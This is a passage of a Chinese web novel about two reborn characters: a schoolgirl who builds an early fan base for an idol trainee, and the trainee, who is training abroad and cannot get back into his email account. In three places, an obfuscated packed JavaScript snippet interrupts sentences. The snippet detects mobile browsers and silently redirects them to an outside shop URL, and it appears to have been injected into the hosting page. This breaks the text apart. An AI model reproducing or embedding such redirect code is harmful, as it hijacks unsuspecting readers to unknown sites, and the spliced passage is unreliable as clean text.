“没事的,”林定听到了电话的漏音,不等他回应,便主动朝马路招招手,一辆黄色的出租车即刻停在他们的面前,“你快上车吧,赶着明天出发呢。我也该回家……写作业了。”她努力让声音听起来正常,朝纪屿弯弯嘴角,示意他上车,“我自己回去很快的,也很安全,路上都是人流呢。” 纪屿的目光再次与她交汇。 女孩眼框泛红,他心间泛起一股陌生的酸涩。 “记得给我发邮件,”他拉开车门,回眸将此刻的柔美月色与这个特别的女孩,一同刻入了脑海里,“回家路上小心。” “拜拜。” 她木木地挥挥手。 黄色的车很快便汇入了车流里,只一会儿就消失在林定的视线中。 同时带走了她眼里,唯一的明亮。 13. 13 远途 林定推开家门,迎接她的只有一片沉沉的黑暗。 她缓步踱回自己的卧室,手里的纸袋却不争气,“哗啦”地一声,袋底裂开一道大口子,她新买的唱片霎那间散落一地。窗外透进来的浅浅月光,照在这些塑胶外壳上,将冰冷的光反射在她的脸上。 黑暗中,传来她一声极轻的叹息。 她越过地上的唱片,走向书桌打开电脑。 老旧屏幕里的光成为了房间里唯一的光源。 她登录自己的邮箱,在收件人处输入那个烂熟于心的邮件地址,斟酌之间,敲下了一封及其简短的邮件。 附件里,是一首轻松愉快,特别适合在漫漫长途中听的纯音乐。 而正文,只有六个字: “一路平安,加油。” 她点击了发送。 * 纪屿刚踏入公司,便是经纪人小张劈头盖脸的怒骂。 “我早说了,就不该给你放假!约好的时间不回来,是指望我派助理去给你收行李吗?”小张面色铁青,语气尖锐。 在一旁的顾蓝立刻上前帮他说话,脸上笑嘻嘻的:“张哥,今天是周末,路上好堵车的,都怪这交通!你看他回来了嘛,东西也不算多,我们肯定能按时出发的。” 纪屿看着顾蓝,那与前世一样,毫不犹豫维护自己的样子,心里便是无比难受。 他真的不希望自己的挚友,重蹈覆辙了。 纪屿只好用冰冷的语气,将这份真意给推开,他的语气恶劣极了:“你管好你自己就行,少多事。”顾蓝被他呛得闭上了嘴,话语难听到心里闷得慌,但更多的,是对兄弟的担忧——他感觉,自己这个好友最近有心事,举止和态度都像是变了一个人。 经纪人见他如此态度,发出一声冷哼来:“没出道就这么嚣张,要是哪天走了狗屎运红了,耍大牌怕是少不了的。” 回到练习生公寓,纪屿沉默地收拾行李。他的东西确实少得可怜,两个行李箱几乎装下了他的全部家当。 隔壁传来了同期练习生的闲聊——他们在聊各自对未来粉丝名称的想法——这本是出道后才能决定的事情,此刻……对于练习生来说,都只是遥远的梦罢了。 纪屿想起前世自己的粉丝们。 他们在他低谷时,仍不离不弃,在社交平台上为他没日没夜地加油打气。那时的他,满怀感激——可随即,最终的自己的结局却……他的粉丝该有多伤心呢? 她们会不会后悔,将真心和时间,错付给了这样一个有着不堪结局的人? 衣物收拾妥当,他的视线落在桌角一张唱片上。 是那个叫林定定的女孩给他的。 和她的相遇相识……让纪屿感到有些不真实。明明只是一个相识不久的陌生人,她竟对他抱有毫无保留的肯定和期待,喜好亦与他同频。 他不得不承认,自己曾有那么一瞬,猜测这个小女生是粉上了自己,可是她却……又和他永远保持着恰到好处的距离,甚至是疏离。 真是厚脸皮,人家才不会是你的粉丝……纪屿不禁自嘲。 先前与经纪人冲突带来的不快,在他想起那女孩时,竟神奇地被驱散了不少。他拿起那张唱片,轻轻地用毛巾包好,放进了行李箱的最底层。 他提着行李下楼,坐上了公司安排的车。顾蓝很快也跟了下来——见纪屿神色已然恢复如常,立刻把刚才那件不愉快的事儿抛到了脑后,又笑嘻嘻地凑过来,兴致勃勃地和他聊起对国外的训练生活的期待,还嚷嚷着要去吃心心念念的异国美食。 “幼稚。”纪屿看着他这副没心没肺的样子,嘟囔了一句。 同期练习生们陆续到齐,车子发动。从市区到机场的路十分漫长,夜晚的困倦让包括顾蓝在内的大部分人,很快便在车上眯着了。只有纪屿,因前世常常半夜出工的熬出来的习惯,仍清醒地很。 抵达、安检、飞机在夜色中顺利起飞。 纪屿靠在窗边,窗外是无尽的黑暗。他环顾身前这些在沉睡中的年轻背影,目光渐渐冷了下来。 他前世的死亡,这架飞机上,究竟有多少人参与了,或是冷眼旁观。 此刻,他能完全信任的人,只有身边这个睡得毫无防备的顾蓝……这个没心眼的傻小子。 他一定会还顾蓝一个说唱巨星的锦绣前程。 日子还长。 * 林定的邮箱,没有响起来过。 每天清晨起来,她就打开电脑刷新页面,已成习惯。 然而,未读消息始终空空如也。 “他一定是太忙了,”她对自己说,试图将那份的失落摁压下去,“封闭集训,没时间看邮件吧。”她替他找好了理由。 没关系。 她前世的认知告诉自己。 从前不也是这样吗?他是明星,她只是万千粉丝之一,给他微博发再多私信,也从未指望过回复。祝福送到就好,心意抵达就行,本就不该要什么回应的。 可……脑海里又浮现出他说的“记得给我发邮件”这个约定。 “算了。” 她移动鼠标,关闭了邮箱界面。然后,她打开了一个久违的网址——那个她前世曾寄托了无数脑洞和幻想、又给予她无限失落的写作平台。她重新注册,在笔名一栏,郑重地敲下原来的名字: 【一言为定】。 “林小定!你在看什么好东西呢!”闺蜜晓春活力四射的声音在她耳边炸开来。 林定被吓了一跳,瞬间被拽回现实。此刻……他们在计算机房里,老师很快的讲解完基础操作,他们也早就完成了今日的课程任务,于是老师便大方地给了他们十五分钟自由玩电脑的时间。 闺蜜好奇地凑近屏幕,看着那网站界面,立刻失去了兴趣:“哇,你看什么狗血小说呢?别看了别看了,快过来我电脑这边,帮我看看这条裙子好不好看,好想买!”她忽然又想起什么,眼睛一亮,压低声音,“对了!你上次跟我提过的那个超级帅的练习生……照片呢!照片呢!快给我看看!” 林定叹了口气,关掉网页:“没有照片。他出国集训了,两年后再给你看吧。” 晓春撇撇嘴:“哼哼,还卖关子!算了算了,一会儿下课,你让别人帮你把计算机书拿回教室啊,你得陪我去器材室拿班牌,下节大课间篮球赛,我们啦啦队要举牌的噢。” 篮球赛??林定心里哀嚎一声,她怎么把这事给忘了。 * 喧闹的篮球场上,空气中弥漫着青春独有的气息。呐喊声、尖叫声、鞋底与地面摩擦发出的声音,都交织在了一起。 第三节比赛结束,他们班落后于8班近四十分,班里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613292|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人都有些丧气。 林定也感到一丝难言的烦躁,特别是晓春从她身边站了起来。 她的目光追随着晓春的身影,只见她拿起提前准备好的矿泉水,红着脸走向了隔壁班的场地…… 前世与今生的画面,在这一刻重叠。 就是这场篮球赛……就是这瓶水。 8班的主力郑志昊,在这一刻对她的闺蜜一见倾心。 邓晓春长达九年的爱情长跑,就要开始了。 尽管林定早已决定不会干涉闺蜜的恋情,可一想到那个男生后来……她捏紧了拳头,感觉自己的脸色一定很难看。 林定别过头,将视线重新投向赛场上。 今天他们班的男生像掉线了一样,传球也失误,防守也防不住,平时他们不是这样的,今日也不知道是怎么了。 看着这让人丧气的场面,她的思绪不由得越飘越远。眼前的球场消失,脑海里浮现出前世在运动综艺里意气风发的纪屿…… 也不知道,这一世,自己有没有眼福,能亲眼在现场,看一看呢。 她随即便摇摇头打断了自己的想法。 这又要消耗太多的人品值了。 那个综艺的最后,纪屿的队伍也没有赢。 正出神间,她的肩膀突然被人从后面轻轻拍了一下。 林定转头一看,竟是之前那位在图书馆偶遇过的追星族,前文娱委员吴思婷,此刻正热情和她打招呼:“嘿,林定,你们班这球赛打成这样,多没意思,别看了,我们聊聊天呗。” 林定看见她身上也穿着啦啦队服,失笑道:“你怎么不去给你们班的球员们加油?跑来我这,你们班同学不会生气吗?” 吴思婷努了努嘴,指向远处另一个打得火热的篮球场,“我们班在那边呀,赢麻了!大家都很开心,少我一个没关系的啦。”她话头一转,脸上露出了十分熟悉的兴奋表情,“我来找你,是想跟你说,上回我和你讨论过的那个,小明星成子秋,他这周末要来我们这边的商场做饮料代言推广,我打算去看看,你要不要和我一起?” “额,他啊……”林定一时语塞,干笑两声。她是真的觉得这位同学的情商……感人。现在,自己班级正在场上被人“打”地直不起腰,她却跑来“炫耀”她们班的比赛盛况;还有,她记得自己上回明明嘴下不留情,把成子秋损了一番,话都说成那样了,她怎么……还觉得自己会愿意跟她去? 饮料代言……一想到成子秋现在就有了事业起色,而纪屿却还在艰苦训练未有名头,真是生气。 她!才!不!要!去!给这可恶的“对家”贡献热度呢! “我周末要写作业,”她给予了吴思婷一个尴尬而不失礼貌的微笑,借口道,“真的没时间去,你问我其他人看看。” 话音刚落,观众席后边跑来一个何纯,举着小电扇,带着他的欠揍腔调说:“她说得对,林定物理跟狗屎一样,周末再不废寝忘食地苦学啊,她就没救了,”他的语气从调侃渐渐变得冰冷:“吴思婷你回你们班庆功去吧,我们班这球赛还没打完,没法分心和你唠嗑。” 吴思婷一听,被带偏了注意力,她立刻睁大眼睛看向林定,惊讶道:“啊??真的??她物理到底是有多差啊?” 林定:“……”? 她感觉自己的头上布满了黑线。 14.14 破防 接下来的两个星期,平平无奇。 若硬要说有什么特别的事情发生,倒也不是毫无波澜。 一个呢,是林定那位好闺蜜,开始了她的恋情,脸上又挂上了恋爱脑的笑容和傻呼呼的表情。这么青春又活力的晓春实在是难得一见,林定都看在眼里,她除了没给张志昊好脸色,其他的也没多说,也不知道这一世重来会不会有变数——静观其变吧。 一个呢,是她在小说平台上继续发表章节。如今的写作,多少是被社会毒辣摩打过的,褪去了曾经少女时代的笨拙和青涩,因此故事和文笔,比起从前,有了一些小小的变化。发布后的两周,后台悄悄多了五个粉丝,数量虽不多,但已经比前世好了太多了。她曾经可是写了四五十章才有粉丝和点击量的呢。 另一个呢,则是一场林定觉得很无语的闹剧。 她那个上辈子暗恋无果的“初恋”,果然,在体育课上,再一次和前世一样“不小心”用篮球不偏不倚地砸中了她的额头。 剧烈的疼痛和短暂的晕眩,让她眼前一黑——可笑的是她竟然这时候想起的是自己在工位的时候,因为熬夜加班气血不足等等问题,导致她常常一站起来就头晕目眩。 “哇林小定你没事吧!!!冯维你怎么回事啊快道歉!”林定额头的痛感渐渐清晰,晓春焦急的声音从模糊,变得越来越立体了。 她低下头抱着自己的脑袋,不愿看向那个正从球场上奔向她的罪魁祸首。 “林定你没事吧?疼不疼?我不是故意的。”冯维关切地蹲在她面前。 上一世,她将会立刻捂住头,眼眶湿润,而周围的同学,将开始起哄。 当时她心跳加速,甚至感到丝丝窃喜,觉得这一砸拉近了他们的关系。 可如今。 林定的额头确实还是很疼,痛到麻木,但她只是不动声色的向后退了一步,脱离那人想朝她伸出来的脏手。她睁开双眼,眼底再没有半点眼泪。 这个人,还是和上辈子一样,这么喜欢表演,这么虚情假意。 真搞不懂自己以前的眼光。 虚伪的关切还在耳边响起,但是她都听不下去了。 他这时候是不是觉得,自己这样很有魅力? 她懒得去分辨此时此刻,他焦急的语气里有多少真心,又是有多少是被众人瞩目的虚荣呢? 思绪被回忆猛猛一拽,回到高考结束的那一天晚上。 那天,考完试大家都很放松,班长将聚餐选在一家学校附近物美价廉的川菜馆里。林定吃凉又吃辣,感到肚子痛,独自在一楼的洗手间里蹲了好久。刚结束,准备离开时,外面几个男生肆无忌惮的谈笑声便穿透门板,止住了她即将迈出去的脚步。 “诶,你说,林定那么喜欢你,喜欢的这么明显,她今晚会不会跟你表白呀?”是体委的声音。 她的呼吸骤停,脸噌地一下熟透了,秘密被当众揭开的羞耻感遍布全身。紧接另一个声音响起,也是他们班的同学,语气带着万分羡慕:“你就好啦,林定现在越来越好看了,有这么个漂亮的女生跟你表白,你真是幸运。” 可接下来那个,她曾经很喜欢的嗓音,说出来的话却像一盆冰窖里的雪水,在她的头顶细数浇下: “好看又如何?也就那样……我早就知道她喜欢我,”冯维的语气带着重重的轻蔑,“她不行。性格都不温柔,也不是听话的那种女生。成绩还差……算了,我还想追级花呢,你们不觉得级花和我才是绝配吗?” 每一个字,都在嘲笑她的天真和无知,原来她的心意在这个人眼中根本就不值钱。 厕所独有的臭味和这段令人作呕的对话来比,根本不算什么。他的同伴怼了句:“你真是个渣男,不喜欢还吊着别人。”而冯维根本不以为耻,反而用小人得志的语气道:“那怎么了?她喜欢我,多少人都羡慕呢。她这样一个人,眼里却只有我一个,那种感觉很微妙的,你们不懂的啦……”话音未落,外面突然传来一声巨大的拳肉碰撞声和惊呼声,紧接着传来的是冯维嘶痛的抽气声。 然后,是一个冷冷的熟悉嗓音: “闭上你的狗嘴。别招惹我朋友,你这种人渣不配。” 是何纯在替她出头。 隔着一扇门,她用手背粗暴地擦拭眼泪,却越擦越狼狈。她在狭小的洗手间里站立了很久,直到外面的拉扯声和脚步声都消失,才悄无声息地走出来洗了一把脸,用纸巾擦干。 回到座位以后,何纯和晓春都不停地给她夹菜,往她的杯子里倒汽水。她端着一个假的不能再假的笑容,熬过了饭局,而她的视线再也没有看向那个让她心动过的少年。 现在,更不会。 “没事。” 林定丢下两个字,语气充满不在意。她牵起身边晓春的手,离开了这个令人恶心的球场。 * 晚上洗完澡,林定拿着冰袋,敷在依旧抽痛的额头上,坐在书桌前打开了电脑。她的手指像是有自己的思想一样,再一次习惯性地点开了邮箱的界面。 屏幕的微光,照亮了她满怀期待的脸,然而……收件箱未读邮件那里,只有几封令人讨厌的垃圾营销广告,没有她心心念念的回信。 唉。 “没事哒,没事哒,”她吸了吸鼻子,因为五官过于用力抽动到了额头,她倒抽一口凉气后,又继续试图说服自己,“他训练很忙很忙,没时间看邮件的啦……” 这些自我安慰的话语,说多了之后,终究有点自己骗自己的意思。 她懊恼地关掉邮箱,切换到围脖页面,在前世的习惯下,在搜索栏到位置敲下了“问鼎娱乐”四个字,点进了官方号里。 她本来没抱多大希望。 最新的围脖出现了一张戴无极在练习室训练的照片,文案把他夸上了天,什么“有天赋的男孩”“无可替代的可爱笑脸”“认真的训练”——林定皱了皱眉,牵扯到伤口又是一阵的痛——是了,戴无极这个人可出名了,是问鼎娱乐捧上天的艺人,出道比纪屿早, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16624140|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资源也是拿到手软。他们粉丝都知道这个人是“资本家的丑孩子”,传闻他父母就是问鼎的高层,所以问鼎捧他是必然的。 等等!! 戴无极身后,是众多被当成背景虚化的练习生…… 林定的目光,瞬间就锁定在角落里一个十分模糊却令她无比着迷的背影上。 是纪屿。 他穿着统一的黑色训练服,清瘦挺拔,那肩宽和头身比林定已经熟记于心,她不可能、绝不会认错。 就说吧,他是在为梦想努力着,忙碌的训练着,为出道准备着。 且安然无恙。 太好了。 白天被篮球砸到额头肿了她没哭,可现在,林定只看着这张模糊照片,就有一股融合了日复一日的思念、杳无音讯的委屈和看到图片的喜悦的急流,冲垮了她近日的所有的情绪防线。 “哇啊”的一声,她暴哭了起来,眼泪顺着下巴无力地全部滴在键盘上面。 房门被推开,爸爸担忧地冲了进来,很显然是被她的哭声吓了一跳。“你咋了?”他语气急切地问道。 “没、我没事,”她揉了把脸,试图平稳呼吸,用了当下的另一个哭泣理由作借口,“我只是……只是今天头被撞了一下,有点疼……呜呜呜……好疼呜呜呜……” 爸爸上前检查了一下她的额头,见到确实疼的发红,气哄哄地说:“我给你投诉到老师那去!你快跟我说是谁撞你的?把一个女孩子撞成这样真不像话!” 林定脑海里闪过那恶心的嘴脸,嫌弃感竟止住了她的眼泪,她无所谓咕哝道:“算了,是一个脑残,不足挂齿。”爸爸无语地瞪了她一眼,“你小心别被撞成脑残才好咯。”紧接着叮嘱了句早点睡,便帮她带上了房门。 房门一关,林定立即扑回电脑前,一边拿纸巾吸擤鼻涕,一边飞快地将那一张纪屿模糊身影的照片保存下来——还不忘把戴无极给截掉。 存好后,她才翻看评论区。此时问鼎娱乐还不是顶尖的经纪公司,底下的评论寥寥无几,但仍然有几个疑似水军一样的帐号,刷着对戴无极的彩虹屁。 真令人生气。 哼,她的偶像,她自己来守护! 她立刻把自己的微博头像换成了刚刚保存的那张模糊背影。然后,她点开评论按钮,立刻切换成迷妹的口吻,在那些清一色夸戴无极的评论中,为纪屿发声: 【哇塞,角落里那个黑色衣服的小哥哥气质好特别好喜欢呀,一眼就看到了,移不开眼啦!一分钟之内我要知道他的全部信息!!!身材绝了!!!好喜欢!!!!好帅!!!!我好爱!!!】 发送成功。 她切回邮箱的页面,兴高采烈地发出了第二封邮件。 【晚上好!近日还没有遇到我喜欢的专辑,你有什么发现什么好听的歌吗?今天经过了千里城的大屏,我有种预感,觉得很快就能在大屏上看到你了~加油纪明星!我也有在慢慢努力,好好学习!】 发送成功。 15.15 密保 打工人对暑假是充满期待的。 这种期待和喜悦,是只有失去过寒暑假的人、经历过一年十二个月两点一线节奏的人,才能真正懂得的感觉。 林定高一的期末成绩单,为她这段日子的埋头苦学给出了最棒的回报,总分飞跃性地向前迈了很大的一步,距离她梦想中的那个学校,又拉近了距离。老师公布成绩的时候,邓晓春和何纯都惊呆了,两位好朋友都为她感到高兴。 开心的事情不止一件——上次她在问鼎娱乐围脖下那条夸赞纪屿的评论,好像真的起了一点儿作用。也许是这条评论,让公司看到了纪屿身上的“受众力”,在那不久后,问鼎娱乐便发布了一条围脖,简单地介绍了每一位练习生的名字,附带上了高清官方的照片,并且,同时为他们统一开通了围脖账号。纪屿终于不再是“查无此人”了,而是有了姓名的糊糊十八线——虽然知道这些帐号是问鼎娱乐的工作人员运营,但林定还是在账号开通的第一天,就马上点击了“关注”按钮,成为了纪屿围脖帐号的第一个粉丝。 林定暑假的作息……说好听一些就是规律,说难听一点就是上班。白天她去上补习、写作业、复习,晚上则把时间分配给两件事:写作,以及建设纪屿的初代粉圈。 她的ID“热爱屿林”,化身为最勤奋、最热情、最早期的夸夸号、修图号和未来的数据号——虽然现在还没数据可做,但搞数据对于林定这个互联网数据人就是小事一桩罢了!她用未来网感和唯美文案,吸引了不少路人的关注,竟真的有不少人因为她的强烈安利,开始关注纪屿的围脖了。 白天的她是欢乐的,可是到深夜一个人躺在床上的时候,她还是会忍不住难过。 她把每天看邮箱的习惯,变成了一周一次。 因为她那个安安静静的收件箱,枯木……不逢春。 她已经有点哄不好自己了。 * 练习生公寓的门被大力推开,发出了巨大的声响。顾蓝愁眉苦脸地进来,嘴里是碎碎念着“烦死了烦死了”。屋里没开灯,黑漆漆一片。 客厅里传来一阵阵轻微的呼气,可是顾蓝没有听见。。 他一边哀嚎,一边把自己摔进沙发里,谁知他压到的不是松软的布料,而是一具炽热的身体上——沙发上的人和顾蓝一同发出了惊呼。 “哇靠!纪屿你有病吗,在沙发上面睡觉?”顾蓝吓得跳起来去开灯,白炽灯下才看清在沙发上盖着薄薄被单的纪屿。他想起刚才触碰到那不正常的体温,狐疑地伸出手去探了探纪屿的额头,竟是烫的很。 “还真是有病……”顾蓝咕哝道,手上却马上给兄弟重新掖好了被角,“我早就说这里的天气怪怪的,你老是穿短袖不行的。我们都来到这里三个多月了,还是不太习惯这边的气候。”他给纪屿倒了杯水,没想到保温水壶里的水早已凉透,于是他站起来打算去煮水,“那你得请假了……这样是不是就不用交那该死的创作任务了?”他深深地叹了一口气,苦恼地自言自语:“早知道我昨晚就去冷风里站着了。” 纪屿缓缓坐起来,一阵眩晕,他无奈地说:“不交小张会放过我吗,” 他虽知道顾蓝说的是玩笑话,但也正色起来,“顾蓝,别拿自己的身体开玩笑。” “你别做了,你这样熬夜下去,明天得烧到40度,”顾蓝点上了煮水按键,“我是真服了,要我们一天内交一首歌出来,还不如让我一天写20首rap呢……”顾蓝走回沙发这边,瘫坐在一旁抱怨道。 纪屿揉着被撞疼的肩骨,声音带着刚刚睡醒的沙哑,朝餐桌的方向指去:“我已经做完了。写了个大概,够交差的了。” “什么?!”顾蓝大叫,心想真不愧是他的好兄弟,简直是创作天才!他立刻跳起来,冲到餐桌那边的笔记本电脑前,迫不及待地点开文件,然而…… 几分钟后,他一脸无语地转过头来,盯着纪屿。 “你就交这个上去么?”这水准,也太敷衍了…… 完全不是纪屿的水平啊! “嗯。”纪屿不能多说,从前就是这个任务,他很用心做了,交上了一份自己很满意的答卷。但正是这个创作任务,让公司的高层看到了他,也让戴无极盯上了他,从那以后就开始盘算着抢夺他的创作成果。 他从沙发上起身,拿起自己的外套,“我去趟便利店。” 他抛下一脸问号的顾蓝,独自往异国的夏夜里走去。 这里的夏天,不似G市炎热,晚风竟还带着凉意,行人多数都还穿着长袖。这边的街上虽也是车水马龙,热闹欢腾,但纪屿总觉得空荡,少了些什么。 “叮铃——” 纪屿的身后传来了一声清脆的门铃声。 他下意识地回头,呼吸也停了一瞬。 原来是街边一家装修豪华的唱片店,店外的玻璃门,正被一个中年男人推开。 好像…… 那个女孩的每一次出现,都伴随着这样的门铃声响。 他收回目光,继续往前走。 天空忽然下起了绵绵细雨,附近的行人纷纷开始撑伞。 可他什么都没有带。 微凉的雨粉,飘落在发间,脸上,肩头。 他忽而又想起了那把简朴的伞,旧旧的,还印着银行logo。 ……以及在烈日下,笨拙地想为他撑起阴凉的女孩。 纪屿抬起头,望向深空。 月亮不圆,孤单地挂在漆黑的天上,和他现在一样孤独。 走进便利店,空调的冷气扑面而来,让重感的他打了一个喷嚏。他从冰柜里拿出那罐他最喜爱的汽水,在结账之时,也不知为何,竟低头看了一眼自己身上的T恤。 还好。今天是黑色的。不会再像那日,被她泼得那么狼狈了。 这个念头冒出来的时候,他的指尖顿在了半空。 今日为何,频频想起她呢? 也不知道她现在怎么样了。有没有好好读书,有没有再去那家唱片店。 他呆呆地站在收银台前,直到收银员大叔不耐烦地在他眼前挥手,他才回过神来结账。 走回街头,纪屿拉开易拉环,仰头将汽水一饮而尽。 那个关于邮件的约定,他好像,没有办法完成了。 三个月前。 “好累……这才出国第一天,就给我们上这么大强度……”顾蓝一进屋就瘫倒在沙发上,看着满地开敞的行李箱,他果断选择了——视而不见。 纪屿的目光扫过这一地狼藉,无奈地摇摇头。他小心地穿过顾蓝凌乱放置在地面的行李,走到公寓角落,从自己的行李箱中拿出他的笔记本电脑。回头时,又看了眼那无处下脚的地雷区,他叹了一口气,干脆就在一个未打开的箱子上面坐了下来,按下了开机按钮。 电脑品牌启动的音乐声引得顾蓝侧目:“哥们,什么情况?灵感大爆发吗,急得要坐在箱子上开工啊?” 纪屿伸出手指了指地板,自然地回避问题:“地上真够乱。你起来收拾一下。”未理会顾蓝的抱怨声,他迅速连上公寓的Wi-Fi,打开浏览器点进邮箱链接。 也不知是跨国网络的原因,还是系统莫名自动登出了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16631142|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他平常一贯保持登录界面消失了,屏幕上只弹出来了登录框。 他的心暗道不好——他一直都记不住密码,更何况,这个账号密码是二十岁的自己设置的,他现在根本不会记得了。 他只好点击【忘记密码】。 第一个选项,是通过绑定手机号验证。可是,邮箱绑定的号码,是公司之前统一办理的号码…… “顾蓝,”他抬起头问,“我们之前那个国内的手机号,公司回收电话卡后交给谁处理了?” “那个号?你不是知道吗,张哥说全部都注销了啊!当时不是说,有个员工把大家的号码泄露出去了,留着安全风险太大。昨天他不是在飞机上说了嘛,所有都销号了。” 销号。好吧,他其实早就知道这件事了,当初就是怕人家联系他的时候号码是个空号,所以给那女孩留联系方式的时候,才会是电子邮箱地址。 他沉默下来,轻轻滑动触控板,点击另一个选项【通过密保问题找回密码】。 页面跳转,一个问题弹了出来。 只是这一眼,就让他感到眼前一黑…… 【你最喜欢的人是谁?】 纪屿整个人都呆住了,连顾蓝在一旁叫他,他都没听见。 ……这是什么问题。 抛开题面不说,他怎么可能记得起来?他的心智和记忆都是十年后,三十岁的自己的。 他又重新盯住那个问题。 二十岁时那个情感单纯、意气风发的自己,到底会填谁呢?那时候心里根本没人好吧。说实话,他似乎真的没有遇见什么让自己心动的人。说好听些就是一心搞事业,他早已习惯了娱乐圈里的真真假假,虚伪奉承,感情多半是靠不住的,还有损星途;说难听一些就是他自诩天才,眼中除了自己谁也看不到。 他狐疑地填了自己的名字。 【答案错误】 …… 他脑子里飞速闪过几个出道后公司硬炒作的绯闻对象的名字——可他二十岁的时候根本就不认识她们,更不可能填她们了。 为什么自己带着的是三十岁的脑子?纪屿第一次对重生这件事感到生气。 一股强烈的烦躁覆盖了他。 他胡乱输入了几个认识的人名——顾蓝、同期艺人的、公司工作人员的…… 【答案错误】 这提示无情的一次次弹出。 那怎么办?他以后要怎么给那女孩回信呢? “我们是什么时候注册这个邮箱的?”他抱着最后一丝丝希望,悠悠地问顾蓝。 “我靠,你失忆了啊?四月份啊!当时不是要交舞蹈视频吗,你说以前的邮箱密码忘了,我们才一起新注册的啊。”顾蓝看他脸色不对,震惊地探起头来,“你不会……又又又把密码忘了吧?不过没事啊,不是有设密保嘛。” 纪屿的声音听不出任何的情绪,平静地像认命一般:“密保的答案也忘了。” 顾蓝一听,立刻从沙发上爬起来,手脚并用地越过他那几个碍手碍脚的破箱子,跳到纪屿身边。当他盯着屏幕上那个匪夷所思的问题时,脸上写满了荒谬: “哥,你这……也……太离谱了啊!!第一,你有喜欢的人,还不告诉我这好哥们?第二,你居然还能忘了?这才过去几个月啊?!是妹妹太多还是你无情啊?” 数几道无形的黑线,划过纪屿的额头。 纪屿心里苦。 几个月? 好兄弟啊,这对你来说是几个月,可对我而言,这中间隔着的……是整整十年的世事变迁,和我的生与死。 16.16 粉丝 训练的强度和难度与日俱增,将他们每一个人的体力无限压榨。曾经称自己为高能量达人的顾蓝,每天晚上回到公寓后,也只想倒头就睡,没力气干别的事了。 但他是真真佩服自个的好兄弟纪屿。 练习生公寓是两人一间,这让顾蓝知道了一些兄弟的秘密。虽然公司给他们的训练规划不同,但还是有部分同样的课程。白天在练习室里,纪屿的表现中规中矩,不拔尖,也不垫底,培训老师不止一次用纪屿20岁的“练习生高龄”来阴阳他不够出色,直白地将他与十几岁的练习生作比较,经纪人小张时不时阴阳他两句。可只有顾蓝知道,夜幕降临,纪屿会借着窗外的月亮微光,对着厅里墙上的那面全身镜,将白天的动作复盘打磨。顾蓝有几次睡不着,起身看纪屿练习,那舞姿惊为天人,完全是成熟艺人的表现力,顾蓝直接拍手叫好。顾蓝自己不熟练的部分,纪屿也会在私下里帮他抠动作,纠正到满意为止。 面对白日里那些难听的话语,纪屿总是沉默地听着,是扯出一个无所谓的笑。 顾蓝无数次在心里感慨,兄弟的实力明明就很厉害好吧! 可为什么要聪明人装笨呢? 顾蓝想不通,但他选择不问,兄弟选择这么做,一定有他这么做的理由。 他始终相信,纪屿是注定要闪耀的那一颗星星。 顾蓝还发现,兄弟很热爱生命。 纪屿和别人不同,再忙再累,他都会认真吃饭,黄昏的时候会停下手里的事情看看夕阳,会在路上抬头看看树的生长,低头看看秋风吹下的落叶。 看纪屿这样,顾蓝也受到了一些影响,自己也开始尝试在枯燥程序化的训练日子里,寻找一点点生活的盼头。 问鼎娱乐每月会发一笔生活费给练习生。 除了每星期一天的休息日,其他时间的吃、喝都由公司负责,这笔生活费对于没有额外开销的练习生们来说,足够让他们自己追求时尚潮牌和电子产品了。可是顾蓝发现,纪屿物欲非常的低,很少买什么身外之物,可他的钱却好像花得很快。 也许兄弟是在做理财投资? 顾蓝肯定了自己的想法,自家兄弟这么聪明,一定是有自己的深谋远虑嘛。有一天,他忍不住去问纪屿投资了什么。没想到的是,纪屿直接告诉了他,还问他要不要一起? 那是一部连名字都不咋吸引人的未招募演员、未发行电影。 顾蓝瞅着那电影名,深度怀疑纪屿会不会血本无归,但出于对兄弟的信任,他还是跟着投了一小小小小小笔。 “算了,亏了就亏了吧!”他觉着纪屿都问他了,拒绝的话怕是要伤兄弟的心。 公司之前为他们统一开通了围脖号,但管理权却不是他们自己的,号都暂时只能让工作人员登录。 九月底的时候,经纪人小张带来两个好消息:第一个是,国庆假期的时候他们也可以放假,虽说不能回国,但能在有自由活动的时间;第二个是,他们得到了一个有曝光机会的拍摄任务。 “哇!给我们拍视频发网上吗?还能有单人镜头?”顾蓝十分惊喜,小张还没说完他就叫了起来。 